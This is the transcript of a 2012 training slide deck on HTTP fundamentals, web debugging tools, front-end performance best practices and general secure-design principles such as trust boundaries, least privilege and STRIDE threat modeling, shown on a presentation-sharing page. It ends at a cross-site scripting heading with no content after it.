Web securities
This presentation is the property of its rightful owner.
Sponsored Links
1 / 202

Web Securities PowerPoint PPT Presentation


  • 99 Views
  • Uploaded on
  • Presentation posted in: General

Web Securities. Bingoo 2012-05-13. 无线网络 TP_LINK_42AC76 密码: linkage123. Who am I ?. 黄进兵 bingoo huang 程序 猿 ? 码农 ?. Who are you?. 轻松 互动 小考. 安全事故回顾. 缴费充值密码暴力破解 缴费充值折扣侵入 商 城 2.0 全 量商品信息泄露 商 城 2.0 全量用户信息泄露 …. O utline. AM Http Basics Tools Performance PM Attacks

Download Presentation

Web Securities

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Web securities

Web Securities

Bingoo 2012-05-13


Tp link 42ac76 linkage123

无线网络TP_LINK_42AC76密码:linkage123


Who am i

Who am I ?

  • 黄进兵 bingoohuang

  • 程序猿? 码农?


Who are you

Who are you?


Web securities

  • 轻松

  • 互动

  • 小考


Web securities

安全事故回顾

  • 缴费充值密码暴力破解

  • 缴费充值折扣侵入

  • 商城2.0全量商品信息泄露

  • 商城2.0全量用户信息泄露


O utline

Outline

  • AM

    • Http Basics

    • Tools

    • Performance

  • PM

    • Attacks

    • Encoding & Encryption


Hyper text transfer protocol http

Hyper Text Transfer Protocol (HTTP)

Objective: Understand HTTP (the protocol that makes the Internet possible)

Refs:

RFC 1945(HTTP 1.0)

RFC 2616(HTTP1.1)

2012-03-12: draft -19 of the revised HTTP/1.1 specifications


Bit of history

Bit of History

  • Mar’89 – T.B. Lee presents “Information Management: A Proposal”

  • Aug’91 – Announces WWW

  • Mar’93 – Mosaic announced

  • Mar’94 – Netscape found

  • Oct’94 – W3C found by T.B. Lee


Osi tcp ip protocol suite

OSI & TCP/IP protocol suite

  • OSI is a reference model


Osi tcp ip protocol suite1

OSI & TCP/IP protocol suite…

  • TCP/IP protocol suite is implementation of OSI


The communication

The Communication

Server

Client

LB

Web

Server

App

Server

DB

Server

Proxy

Browser

Internet

GET /

200 OK

Index.html

GET /js.js

GET /pic.jpg

200 OK

More content…

HTTP: Sure!


The communication1

The Communication

  • …. or simply


Http usage

HTTP Usage

  • HTTP is the protocol that supports communication between web browsers and web servers.

  • A “Web Server” is a HTTP server

  • Most clients/servers today speak version 1.1, but 1.0 is also in use.


From the rfc

From the RFC

“HTTP is an application-level protocol with the lightness and speed necessary for distributed, hypermedia information systems.”


Accessing resources over the web

Accessing Resources over the Web

  • <protocol>://<server>/<path>

Defines the address (Uniform Resource Locator)

Communication Protocol between the client and the server


Hypertext transport protocol http characteristics

Hypertext Transport Protocol (HTTP) characteristics

  • Request-response mechanism:

    • Transaction is initiated by a client sending a request to server

    • Server generates a response

  • Resource Identification

    • Each HTTP request includes a URI (Uniform Resource Identifier)

  • Statelessness

    • The server does not maintain any information about the transaction

  • Meta data support

    • Metadata about information can be exchanged in the messages


Http request format

HTTP Request Format

Specifies request method

Request Line

GET /index.html HTTP/1.0

Specifies resource via URI

& meta data

Header Lines

Host: www.content-networking.com

Date: BBBBBBBBBBBB

User-Agent: Mozilla/5.0 (en) (WINNT; U)

Accept-Language: en-us

Carriage Return/Line Feed

Message Body

Content-length:

(Message Payload)


Request methods

Request Methods

  • GET

    • whatever information is identified by the Reuest-URI

    • Can Get static content and data produced by a program

  • POST

    • Submit information to Web Server

    • Eg: posting to blog, submission of user form…

    • Information is included in message body

    • The actual function depends on request URI

Example

POST/phonebook.cgi.HTTP/1.0

Date:

User-Agent:

Accept Language: en-us

Content Length: 14

98490 55266

Looks up phone book for the number

Could have been also achieved by Get

But in that case number would have been in the Resource URL

Which would have been stored in the log


Web securities

Get

  • You know GET

  • Retrieval of information

  • Transfers a representation of a resource from the server to the client

  • Safe & idempotent


Web securities

GET /user/ramsey HTTP/1.1

Host: atom.example.org

HTTP/1.1 200 OK

Date: Tue, 22 Sep 2009 17:28:14 GMT

Server: Apache/2.2.11 (Unix) DAV/2 PHP/5.3.0

X-Powered-By: PHP/5.3.0

Content-Length: 594

Content-Type: application/atom+xml;type=entry

<?xml version="1.0" encoding="utf-8"?>

<entry xmlns="http://www.w3.org/2005/Atom"

xml:base="http://atom.example.org/">

<title>ramsey</title>

...

</entry>


Request methods contd ii

Request Methods…contd (ii)

  • HEAD

    • Servers response does not include message body

    • Useful for getting resource metadata without transferring the resource

    • Also useful for debugging , checking for validity, accessibility and modification

  • PUT

    • Requests a server store the enclosed data under the supplied Request URL.

    • Creates the resource if it does not create

    • Not useful for web publishing (FTP is preferred for security purposes)

  • DELETE

    • Removes the Web object

    • Needs to be carefully used for security reasons


Request methods contd iii

Request Methods…contd (iii)

  • TRACE method

    • Invokes a remote appliction layer feedback of the request message

    • Useful for testing what is being received at the server

    • Also possible to forward to intermediaries for debugging purposes

  • OPTIONS

    • Requests information about communication options available to server


Safe methods

Safe methods

  • GET & HEAD should not take action other than retrieval

  • These are considered safe

  • Allows agents to represent POST, PUT, &

  • DELETE in a special way


Idempotence

Idempotence

  • Side-effects of N > 0 identical requests is the same as for a single request

  • GET, HEAD, PUT and DELETE share this property

  • OPTIONS and TRACE are inherently idempotent


Http response format

HTTP Response Format

Status line with result code and phrase

Status line

HTTP/1.0 200 OK

Specifies server & resource meta data

Header Lines

Date: BBBBBBBBBBBB

Server: Apache/1.3.12 (Unix)

Last-Modified: (date)

Content Type: text/html

Status-Line

Headers

.

.

.

Carriage Return/Line Feed

blank line

Message Body

Content...

Content-length:

(Message Payload)


Result code and phrase

Result Code and Phrase

  • 1xx: Informational – Not Done Yet

  • 2xx: Success – You win

  • 3xx:Redirection-You lose but try again

  • 4xx:Client Error – You lose, your fault

  • 5xx:Server Error – You lose, my bad

200 OK

204 No Content

300 Mutiple Choices

301 Moved Permanently

302 Moved Temporarily

304 Not Modified

400 Bad Request

401 Unauthorized

404 Not Found

500 Internal Server Error


Try it with telnet

Try it with telnet

> telnet www.cs.rpi.edu 80

GET / HTTP/1.0

HTTP/1.0 200 OK

Server: Apache

...

Request-line

Blank Line

(end of headers)

Response


Try it with telnet 1 1

Try it with telnet 1.1

> telnet www.cs.rpi.edu 80

GET / HTTP/1.1

Host: www.cs.rpi.edu

HTTP/1.0 200 OK

Server: Apache

...

Required!

Netprog - HTTP


Improvements in http 1 1

Improvements in HTTP/1.1

  • Persistent connections

    • Keeps the connection open after the server response

    • Connection can be closed by either client or server

  • Request Pipelining

    • Allows a client to send several requests without waiting for a response

    • Server responds in the same order

  • Chunked Encoding

    • Allows sender to break a message into arbitrary sized chunks

    • Useful for dynamically created response messages


Handling statelessness

Handling Statelessness

  • HTTP is a stateless protocol

    • i.e., server’s got a bad memory

  • Cookies to rescue

  • Cookies:

    • are text files stored by client browser

    • maintain session by storing information

    • are non-executable

  • Cookie attributes:

    • name=value

    • expires=value

    • domain=value

    • path=value

    • Secure

    • HttpOnly--not a part of spec


Cookies

Cookies

  • HTTP is stateless protocol

  • Cookies manage state maintenance by shifting the burden to client

  • Cookies are transmitted in clear text (security issue)

Server

Client

Usual HTTP Request

1st client request

Client does not interpret the cookie string

Server is presented with the previously returned state information

Usual HTTP Response, including header line Set-cookie: <cookie>

Usual HTTP Request, including header line Set-cookie: <cookie>

2nd client request

Usual HTTP Response


User authentication

User Authentication

  • Users browser information remembers credentials and includes them in headers for subsequent requests

  • Browser typically deletes stored authentication credentials once browser is closed

  • HTTP allows various authentication mechanisms

Server

Client

Usual HTTP Request

HTTP Response with code 401, including header line www-authenticate: <string1>

1st client request

User inputs credentials

Same HTTP Request, including header line Authorization: <string2>

Usual HTTP Response

Usual HTTP Request, including header line Authorization: <string2>

2ndclient request

Usual HTTP Response


Web securities

HTTP

  • HTTP is insecure!

    • Subject to man-in-the-middle and eavesdropping attacks

  • HTTP over TLS or SSL

  • Uses port 443 by default

  • Based on Public key cryptography


Ssl secure web communications

SSL: Secure Web Communications

  • SSL protocol is application independent

  • Operates between application layer and transport layer

  • Application protocols such as HTTP sit on top of it and TCP/IP beneath it

  • SSL provides:


How ssl works

How SSL Works

  • The Public Key is a random number generated in pair (the other part of the pair is the private key known only to the server)

  • Data encrypted by the public key can be decrypted only by using the private key

Server

Client

HTTPS Request

SSL Certificate with the Public Key of the Server

Generates a random number or session key which can be encrypted using the server public key

Decrypted using the Server Private Key

Sends Session Key encrypted with the Server Public Key

Response/Request encrypted with session key


Ensuring ssl version compatibility

Ensuring SSL version compatibility

  • There are different versions of SSL depending on the encryption algorithm used.

  • The browser sends the versions it supports

  • The server sends the certificate. The certificate includes:

    • The identity of the organization to which the web server belongs

    • The certificate’s expiration date

    • The public key

    • The identity of the organization that issued the certificate, known as a certification authority (CA)

  • Browsers store and recognize certificates issued by a number of well-known CAs.


What it does and what it does not

What it does and what it does not


Http problems

HTTP Problems

  • Single request per connection.

  • Exclusively client-initiated requests.

  • Uncompressed request and response headers.

  • Redundant headers.

  • Optional data compression.

Source: http://dev.chromium.org/spdy/spdy-whitepaper


Spdy pronounced speedy

SPDY (pronounced "SPeeDY")

  • Allow many concurrent HTTP requests to run across a single TCP session.

  • Reduce the bandwidth currently used by HTTP by compressing headers and eliminating unnecessary headers.

  • Make SSL the underlying transport protocol, for better security and compatibility with existing network infrastructure.

  • Enable the server to initiate communications with the client and push data to the client whenever possible.


Web securities

cURL

  • User + password Authentication

    • Basic Digest NTLM Negotiate Kerberos

  • Proxy

  • Resume

  • Cookies

  • Proxy tunneling

  • SSL certs

  • HTTP range requests

  • UA spoofing

  • Wireshark

  • gzip/deflate


The real curl

The real cURL

  • HTTP HTTPS

  • FTP FTPS

  • SCP

  • SFTP TFTP

  • TELNET

  • LDAP

  • DICT

  • POP

  • SMTP

  • RTMP

  • RTSP


Web securities

HTTP

  • Get requests are simple:

    • $ curl “google.com/search?q=ilugc”

    • $ curl --user-agent "Mozilla/5.0 [en] (X11; U; Linux 2.6.28 i386)" “http://google.com/search?q=ilugc”

  • Post requests are also simple with curl. ;-)

    • $ curl --data-urlencode input=value http://example.com/cgi

  • Proxy

    • $curl --proxy-user proxyuser:proxypasswordcurl.haxx.se


Web securities

Introducing Fiddler

Web Debugging for Performance and Operations

www.fiddler2.com/perf/


Web securities

Intercepting Web Traffic


Web securities

Fiddler for Performance

  • Measure / analyze / simulate the end-user experience.

    • Measure request size, page weight

    • Analyze caching, compression, page composition

    • Simulate low-speed / high-latency connections


Web securities

Performance Statistics


Web securities

Session Timeline


Web securities

Filters


Web securities

Custom Rules


Fiddler plugins

Fiddler 的必備 Plugins

  • JavaScript Formatter

  • JSON Viewer

  • Gallery


Javascript formatter

JavaScript Formatter


Json viewer

JSON Viewer


Gallery

Gallery


Firefox plugin

Firefox plugin


Web securities

Tamper Data 11.0.1 byAdam JudsonUse tamperdata to view and modify HTTP/HTTPS headers and post parameters


High performance web pages

High Performance Web Pages


The sluggish web

The sluggish Web

  • We’re getting used to the web as a tool for our day-to-day tasks

  • We all want a nice user experience

  • We won’t tolerate slow pages (we have options)

  • 500 ms slower = 20% drop in traffic (Google)

  • 100 ms slower = 1% drop in sales (Amazon)


The importance of front end performance

The Importance of Front-End Performance

Back-end=5%

Front-end=95%

Even here, front-end=88%


Focus on the front end

Focus on the front-end

  • 80-90% of the time

  • Easier than the back-end

  • Proven to work


List of 14 best practices updated

List of 14 best practices (updated)

  • Make Fewer HTTP Requests

  • Use a Content Delivery Network

  • Add Expires header (or Cache-control)

  • Gzip Components

  • Put CSS at the Top

  • Move Scripts to the Bottom (inline too)

  • Avoid CSS Expressions

  • Make JavaScript and CSS External

  • Reduce DNS Lookups

  • Minify JavaScript and CSS (inline too)

  • Avoid Redirects

  • Remove Duplicate Scripts

  • Configure ETags

  • Make AJAX Cacheable

content

server

server

server

css

javascript

css

css

javascript

content

css

javascript

content

javascript

server

content

http://developer.yahoo.com/performance/rules.html


Yslow

YSlow

  • Yahoo!’s performance lint tool

  • Extension to the Firebug extension to Firefox

  • Checks for compliance with the best practices

  • Grades (offends)

http://developer.yahoo.com/yslow/


The life of page 2 0

The Life of Page 2.0

event handlers, components, XHRs

fetching components

backend

user interaction, XHRs

request

page settles

HTML sent

request

onload

R.I.P.

marriage?

graduation

birth

conception

fetus

child

teen

adult

User perceived “onload” happens somewhere here


After yslow a

After YSlow "A"?

server

  • Flush the buffer early

  • Use GET for AJAX requests

  • Post-load components

  • Preload components

  • Reduce the number of DOM elements

  • Split components across domains

  • Minimize the number of iframes

  • No 404s

  • Reduce cookie size

  • Use cookie-free domains for components

  • Minimize DOM access

  • Develop smart event handlers

  • Choose <link> over @import

  • Avoid filters

  • Optimize images

  • Optimize CSS sprites

  • Don't scale images in HTML

  • Make favicon.ico small and cacheable

  • Keep components under 25K

  • Pack components into a multipart document

server

content

content

content

content

content

content

cookie

cookie

javascript

javascript

css

css

images

images

images

images

mobile

mobile


Part i review of 14 best practices updated

Part IReview of 14 best practices (updated)


Make fewer http requests

Make Fewer HTTP Requests

  • Less components = fast page

  • HTTP Request overhead

  • Combine scripts, combine stylesheets, combine images into CSS sprites


Css sprites

CSS Sprites

One request instead of ten!

background-position: -0px -0px;

background-position: -20px -0px;

background-position: -40px -0px;

background-position: -60px -0px;

background-position: -80px -0px;

background-position: -100px -0px;

background-position: -120px -0px;

background-position: -140px -0px;

background-position: -160px -0px;

background-position: -180px -0px;

Tools:

http://www.csssprites.com

http://spritegen.website-performance.org/


Use a content delivery network

Use a Content Delivery Network

  • For static components

  • Content closer to your users

  • Akamai, Amazon S3


Add expires header or cache control

Add Expires header (or Cache-control)

  • For static components

    • “Never expire” policy, far future Expires header

    • Once a component is served, the browser never asks for it again

    • When you need to change a component, rename it

    • Apache example:

      ExpiresActive On ExpiresDefault "modification plus 10 years"

  • For dynamic components

    • Use Cache-control

    • Help the browser send If-Modified-Since

    • Writeup on YUI blog/YDN coming up, stay tuned


Gzip components

Gzip Components

  • You send zipped content over the wire, the browser unpacks it

  • Modern browsers understand compressed content

  • Search engine spiders do too

  • Request header

    Accept-Encoding: gzip,deflate

  • Response header

    Content-Encoding: gzip

  • All text components should be sent gzipped: html (php), js, css, xml, txt…


Put css at the top

Put CSS at the Top

  • Firefox and IE will not render anything before the last piece of CSS arrives over the wire

  • Even CSS that is not needed such as @media print

  • Place the stylesheets as early as possible in the document

    <head>

    <title>My page</title>

    <link href=“styles.css” …/>

    </head>

    <body>

    <!-- content -->


Move scripts to the bottom inline too

Move Scripts to the Bottom (inline too)

  • Scripts block downloads

  • The browser’s logic: since this script can do location.href or document.write at any time, why download possibly useless components

  • Move scripts to the bottom to remove the download block

  • Inline scripts too

    <!-- content -->

    <script src=“script.js” …/>

    </body>

    </html>


Avoid css expressions

Avoid CSS Expressions

  • CSS expression:

    #content {

    position: absolute;

    left: expression(document.body.offsetWidth+‘px’);

    }

  • IE-only way to have JavaScript in CSS

  • They tend to get executed more often than you planned, think onmousemove often

  • Smart expressions overwrite themselves


Make javascript and css external

Make JavaScript and CSS External

  • Helps with caching, “never expire” policy

  • Share with other pages

  • But this is two more HTTP requests

  • Homepages might consider inlining

  • yahoo.com


Reduce dns lookups

Reduce DNS Lookups

  • Browser needs to map domain name to an IP address

  • DNS lookups take time

  • 2-4 domains per page


Minify javascript and css inline too

Minify JavaScript and CSS (inline too)

  • Minify, but still gzip

  • JSMin (written in JavaScript, but has a PHP port)

  • YUI compressor – minifies CSS too

  • Inline styles and scripts should also be minified


Minify before

Minify: before

/**

* The dom module provides helper methods for

* manipulating Dom elements.

* @module dom

*

*/

(function() {

var Y = YAHOO.util, // internal shorthand

getStyle, // for load time browser branching

setStyle, // ditto

propertyCache = {}, // for faster hyphen converts

reClassNameCache = {}, // cache regexes for className

document = window.document; // cache for faster lookups

YAHOO.env._id_counter = YAHOO.env._id_counter || 0;


Minify after

Minify: after

(function(){var B=YAHOO.util,K,I,J={},F={},M=window.document;YAHOO.env._id_counter=YAHOO.env._id_counter||0;


Avoid redirects

Avoid Redirects

  • A wasted HTTP request

  • Causes a restart


Remove duplicate scripts

Remove Duplicate Scripts

  • Duh!

  • IE might decide to download them again


Configure etags

Configure ETags

  • ETags are meant to help with caching

  • A component served from server A has a different ETag than the same component served from B

  • Configure ETags not to include inode

  • … or just remove them and implement “never expire” policy

    Apache default FileETag INode MTime Size

    Change to FileETag None


Make ajax cacheable

Make AJAX Cacheable

  • Content returned from XMLHttpRequests is like any other component

  • Should be gzipped

  • Could be cached

  • Cache-control: max-age=?


Part ii after yslow a 20 more best practices

Part IIAfter YSlow “A”:20 more best practices


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Flush the buffer early

Flush the buffer early

  • Let the browser start fetching components while your backend is busy

  • PHP has the function flush()

  • Best for busy backends / light frontends

    ... <!-- css, js -->

    </head>

    <?php flush(); ?>

    <body>

    ... <!-- content -->

  • Case Study: Yahoo! Search


Use get for ajax requests

Use GET for AJAX requests

  • GET is for retrieving data

  • POST is a two-step process (send headers, send data)

  • GET request is one TCP packet (unless you have a lot of cookies)

  • Max URL length 2K (because of IE)

  • POST without actually posting data is like GET

  • Yahoo! Mail Research


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile1

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Post load components

Post-load components

  • Ask yourself: what's absolutely required in order to render the page initially?

  • The rest can wait (drag and drop, animations, hidden content, images below the fold)

  • JavaScript is ideal candidate for splitting

  • YUI Image Loader

  • YUI Get Utility


Post load components1

Post-load components

  • Case study: yahoo.com

  • onload.js and onload.css

  • Progressive enhancement


Preload components

Preload components

Preload

  • Items you'll need in the future

  • Unconditional preload (google.com loads a sprite onload)

  • Conditional preload (search.yahoo.com after you type in the input box)

  • Anticipated preload – preload in advance before launching a redesign


Preload components contd

Preload components (contd.)

  • Unconditional preload example


Preload components contd1

Preload components (contd.)

  • Conditional preload example – search.yahoo.com

  • When you start typing the page can safely assume you’ll hit the search results page

  • Time to preload


Reduce the number of dom elements

Reduce the number of DOM elements

  • World's fastest page? about:blank!

  • A complex page means more bytes to download

  • It also means slower DOM access in JavaScript

  • It also may mean using semantically incorrect markup (like nested tables or abusing <div>s)

  • Use semantic markup

  • Use YUI's reset.css, fonts.css, grids.css

  • Easy to test, just type in Firebug’s console:

    document.getElementsByTagName('*').length

  • yahoo.com is a busy page and still under 700 elements (HTML tags)


Split components across domains

Split components across domains

  • Maximize parallel downloads

  • But not more than 2-4 domains, because of the DNS lookup penalty

  • www.example.org – HTML content

  • static.example.org – Static components

  • Future: IE8 will allow 6 requests per domain


Split components contd

Split components (contd.)

2 components in parallel8 components in parallel


Minimize the number of iframes

Minimize the number of iframes

  • <iframe> pros:

    • Can help with slow third-party content like badges and ads

    • Security sandbox

    • You can download scripts in parallel

  • <iframe> cons:

    • They have a cost even if blank

    • They block page onload

    • Non-semantic


No 404s

No 404s

  • 404 Not Found

  • Useless downloads

  • Some sites have helpful 404s “Did you mean X?”…

  • … which uses server resources (DB, etc)

  • When an external JavaScript is a 404, the browser will still try to parse it and find something usable in it


No 404s contd

No 404s (contd.)

The second component is a 404 JavaScript and it blocks the rest of the page


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile2

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Reduce cookie size

Reduce cookie size

  • Eliminate unnecessary cookies

  • Keep cookie sizes as low as possible to minimize the impact on the user response time

  • Be mindful of setting cookies at the appropriate domain level so other sub-domains are not affected

  • Set an Expires date appropriately. An earlier Expires date or none removes the cookie sooner, improving the user response time


Cookie free hosting for components

Cookie-free hosting for components

  • Option 1: Separate subdomain (static.example.org)

  • Option 2: A new TLD (e.g. yimg.com, ytimg.com, images-amazon.com)

  • Proxies might refuse to cache

  • www.www-yes.org vs www-no.org?

  • no-www leaves you no choice but to write cookies to *.example.org


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile3

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Minimize dom access

Minimize DOM access

  • DOM access is the slowest

  • Cache

  • Update nodes “offline” and then add them to the tree

  • Avoid fixing layout with JavaScript


Develop smart event handlers

Develop smart event handlers

  • Don't wait for onload, use DOMContentLoaded

  • Events bubble up, so use delegation (attach listeners to outer elements)

  • Clean up to prevent IE memory leaks

  • Careful with onresize

  • Use YUI Event utility


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile4

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Choose link over @import

Choose <link> over @import

  • CSS should be at the top

  • In IE @import is the same as putting <link> at the bottom


Avoid filters

Avoid filters

  • IE proprietary

  • AlphaImageLoader

  • Fixes an IE6 problem with semi-transparent PNGs, IE7 is fine

  • Blocks rendering, freezes the browser

  • Increased memory consumption

  • Per element, not per image!

    Best: Avoid completely, use gracefully degrading PNG8

    Fallback: use underscore hack _filter not to penalize IE7+ users


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile5

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Optimize images

Optimize images

  • GIF - don't use a bigger palette than you need

  • Use PNGs instead of GIFs

  • “All we are saying is: Give PiNG a Chance!"

  • pngcrush tool (or optipng, or pngoptimizer)

  • Removing gamma chunks also helps with cross-browser colors

  • Strip comments

  • jpegtran - lossless JPEG operations, can be used to optimize and remove comments


Optimize images contd

Optimize images (contd.)

You can write a simple tool that walks your image directories before site launch and does the following:

  • Convert all GIFs to PNGs (and check if there’s a saving)> convert image.gif image.png

  • Crush all PNGs> pngcrush image.png –rem alla –reduce result.png

  • Strip comments from JPEGs > jpegtran -copy none -optimize -perfect src.jpg dest.jpg


Optimize images contd1

Optimize images (contd.)

  • You’d be surprised how many sites, from small to huge, could optimize the download size

  • 200K of useless image information sent over the wire for a single page?!


Optimize css sprites

Optimize CSS sprites

  • Choose horizontal over vertical when possible

  • Combine similar colors

  • Keep color count low (<256) to fit in a PNG8

  • “Be mobile-friendly” – don’t leave big gaps

    • Filesize doesn’t increase much, but the image needs to be decompressed into a pixel map

    • 100x100 is 10000 pixels

    • 1000x1000 is 1 Million pixels

    • Case study: Yahoo! Mail Classic


Optimize sprites

Optimize sprites


Don t scale images in html

Don't scale images in HTML

  • Downloads unnecessary bytes

  • If you need

    <img width="100" height="100" src="mycat.jpg" />

    then have mycat.jpg 100x100 not 500x500


Make favicon ico small and cacheable

Make favicon.ico small and cacheable

  • www.example.org/favicon.ico

  • Necessary evil:

    • The browser will request it

    • Better not respond with a 404

    • Cookies are sent

    • Cannot be on CDN

    • Interferes with the download sequence

  • Make it small (<= 1K)

  • Animated favicons are not cool

  • Set Expires header

  • Tools: imagemagick, png2ico

  • Case study: Yahoo! Search - favicon.ico is 9% of all page views!


Bonus crossdomain xml

Bonus: crossdomain.xml

  • Cross domain policy for Flash/Flex

  • Sits in the root: example.org/crossdomain.xml

    <cross-domain-policy>

    <allow-access-from domain="*.yahoo.com" secure="false"/>

    </cross-domain-policy>

  • Set Expires header

  • gzip

  • … and secure while at it, don’t do:

    <allow-access-from domain="*“ />


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile6

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Keep components under 25k

Keep components under 25K

  • Because iPhone won’t cache them

  • Uncompressed size under 25Kb

  • Minify HTML in addition to JS and CSS


Pack components into a multipart document

Pack components into a multipart document

  • For UAs that support it (iPhone doesn’t)

  • Like an email with attachments


Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile7

Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


Tools

Tools

  • YSlow (http://developer.yahoo.com/yslow/)

  • Fiddler (http://www.fiddlertool.com/fiddler/)

  • IBM Page Detailer (http://www.alphaworks.ibm.com/tech/pagedetailer)

  • HTTPWatch (http://www.httpwatch.com/)

  • AOL Pagetest (http://pagetest.wiki.sourceforge.net/)

  • Firebug Net Panel (http://www.getfirebug.com/)


Ibm page detailer

IBM Page Detailer

  • Methodology

    • Packet Sniffer

  • Competitive Advantage

    • Most accurate

    • Provides detailed data

    • Works for any browser

    • Best waterfall view

  • Drawbacks

    • Requires a download

    • 90 day free trial

    • Runs only on Windows

    • Misses cached components


Firebug net panel

Firebug NET Panel

  • Methodology

    • Packet Sniffer

  • Competitive Advantage

    • Integrated with Firebug

    • Displays waterfall view

    • Provides HTTP header info

  • Drawbacks

    • Runs only in Firefox

    • Inaccurate waterfall view

      • No render time

      • No parse time

      • No redirects

      • No DNS lookups

    • Misses cached components


Urls exceptional performance

URLs – Exceptional Performance

YUI blog

http://yuiblog.com/blog/category/performance/

YDN (Yahoo Developer Network)

http://developer.yahoo.com/performance/

YDN blog

http://developer.yahoo.net/blog/archives/performance/

Mailing list (Yahoo! Group)

http://tech.groups.yahoo.com/group/exceptional-performance/

Feedback

http://developer.yahoo.com/yslow/feedback.html


Urls contd

URLs (contd.)

  • "When the Cookie Crumbles" Tenni Theurer, Steve Souders

    http://yuiblog.com/blog/2007/03/01/performance-research-part-3/

  • "Maximizing Parallel Downloads in the Carpool Lane", Tenni Theurer, Patty Chi

    http://yuiblog.com/blog/2007/04/11/performance-research-part-4/

  • YUI Image Loader (http://developer.yahoo.com/yui/imageloader/)

  • YUI Get (http://developer.yahoo.com/yui/get/)

  • YUI Compressor (http://developer.yahoo.com/yui/compressor/ contains a Java port of an internal PHP CSS minifier tool written by Isaac Schlueter, http://foohack.com/)

  • JSMin (http://www.crockford.com/javascript/jsmin.html)

  • "High-performance AJAX applications" Julien Lecompte http://yuiblog.com/blog/2007/12/20/video-lecomte/

  • Yahoo! engineer Michael J. Radwin talk back in 2004

    http://www.radwin.org/michael/talks/


Staticizing

Staticizing(静态化)

Server

Client

为什么要静态化?

Browser

LB

eb

Server

App

Server

DB

Server

Proxy

Internet

静态化原理?


Take coffee

Take-coffee

  • Focus on the front-end

  • Harvest the low hanging fruit

  • Be an advocate for your users

  • Start early


Web security

Web Security


Web securities

攻击的位置?


Web securities

恶意的服务端(伪造站点, 网络钓鱼, ...)

恶意的客户端(状态控制, 注入, ...)

中间人攻击(例如, DNS劫持)

窃听Eavesdropping(例如: Firesheep)


General principals

General principals

  • How do think about application security


Trust

Trust

  • Trust no one

  • Anything that is not completely under your control should not be trusted

  • “Trust, but verified.”


Trust boundaries

TRUST BOUNDARIES

Application

User

System

Database


Trust boundaries1

TRUST BOUNDARIES

  • User interaction includes:

    • Post, get, put, headers, cookies, ajax, etc.

    • Anything that comes in across the trust boundary.

  • Server interaction includes:

    • Filesystem, LDAP, logs, other processes.

    • Anything outside your codebase.


Data handling

DATA HANDLING

  • Bringing data across a trust boundary means both making sure you can trust data coming in and properly encoding the data going out.

  • The two primary techniques for building trust are validation and sanitization.

  • In both techniques, whitelists are preferable to blacklists.


Whitelists v blacklists

WHITELISTS V. BLACKLISTS

  •  A whitelist is simply a list of something you do want or expect.

  • A blacklist is a list of things you specifically do not want.

  • Blacklists are never comprehensive – an attacker will always think something you didn’t. This is why we whitelist.


Data validation

DATA VALIDATION

  • Data validation is the act of determine whether or not input conforms to your expectations.

  • For example, if you are expecting a US phone number, you are expecting a ten digit number that begins with 2-9*.

  • Validation doesn’t change the data – it’s a boolean conformity test. *It’s actually more complex than this.


Data sanitization

DATA SANITIZATION

  •  Data sanitization modifies the input so that it matches the desired criteria.

  • Following the same example, a phone number might be entered as:

    (866)500-6738

  • If the number is sanitized with a whitelist that requires ten digits, it would become:

    8665006738


Principal of least privilege

PRINCIPAL OF LEAST PRIVILEGE 

  •  Each user should have permissions that allow them to accomplish a given task, but no more.

  • Evaluate your system and come up with role-based scenarios. What are the common tasks? How are they grouped into user roles?

  • A user may have more than one role, but should never have more access than they need.


Defense in depth

DEFENSE IN DEPTH

  •  Security is like an onion …

  • Always implement the strongest mitigations you can think of. This is your front line.

  • Don’t stop there – build additional layers as fall-back positions. This is defense in depth.

  • Make sure that detection is one of those layers. Design a good logging system and catch an intruder before he makes it past the second layer.


Challenge your assumptions

CHALLENGE YOUR ASSUMPTIONS

  •  Don’t assume that the attacker is using your client software – the user is always untrusted.

  • Don’t assume that the attacker is following your page flow – the front door may not be the only way in.

  • Don’t assume that network defenses solve denial of service. Design application-level defenses.

  • If something needs to be “true” in order for the software to work, first validate it and then enforce it.


Think evil

 “THINK EVIL”

  • Bruce Schneier calls this the “Security Mindset” (blog link).

  • Usability can be the enemy of security. When doing UX design, always ask yourself how the feature can be misused.

  • It’s difficult to do this systematically.


Threat modeling

THREAT MODELING

  • Threat modeling is systematic.

  • This is a design tool.

    • Start with a data flow diagram.

    • Add your trust boundaries – all of them.

    • Every time you cross a trust boundary, look at both of the connected components and enumerate the threats.

    • Design mitigations for each of those threats.

    • That’s it – the rest is implementation. Just make sure you follow through on the mitigations.


Stride framework

“STRIDE” FRAMEWORK

  •  Many threat modeling frameworks exist – Dread, Trike, CVSS, Octave, AS/NZS 4360.

  • My preference is the STRIDE taxonomy:

    • Spoofing 欺骗

    • Tampering 篡改

    • Repudiation 否认

    • Information Disclosure 信息泄露

    • Denial of Service 拒绝服务

    • Elevation of Privilege 权限提升

  • Stride is specifically aimed at developers, not risk managers.


Three principles

Three Principles

  • Defense in depth

    • Redundant safeguards are valuable.

  • Least privilege

    • Grant as little freedom as possible.

  • Least complicated

    • Complexity breeds mistakes.


Two practices

Two Practices

  • Filter input.

    • Ensure data coming in is valid.

  • Escape output.

    • Ensure data going out is not misinterpreted.


Filter input escape output

Filter input. Escape output.

Filter

Application

Escape


Cross site scripting

